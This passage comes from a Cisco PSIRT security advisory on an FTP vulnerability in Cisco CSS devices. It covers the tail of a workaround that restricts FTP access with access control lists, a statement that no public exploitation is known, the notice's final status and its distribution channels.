to restrict FTP access to the Cisco CSS device. Access control lists also affect traffic to the Virtual interface of the Cisco CSS device, so must be applied with care. For further details on configuring access lists please refer to the product documentation: http://www.cisco.com/univercd/cc/td/doc/product/webscale/css/bsccfggd/profiles .htm http://www.cisco.com/univercd/cc/td/doc/product/webscale/css/advcfggd/sgacleql .htm Exploitation and Public Announcements = The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities described in this advisory. This vulnerability was reported to Cisco by a Cisco customer. Status of This Notice: FINAL This is a FINAL notice. Although Cisco cannot guarantee the accuracy of all statements in this notice, all of the facts have been checked to the best of our ability. Cisco does not anticipate issuing updated versions of this notice unless there is some material change in the facts. Should there be a significant change in the facts, Cisco may update this notice. Distribution This notice will be posted on Cisco's Worldwide Web site at http://www.cisco.com/warp/public/707/arrowpoint-ftp-pub.shtml. In addition to Worldwide Web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and
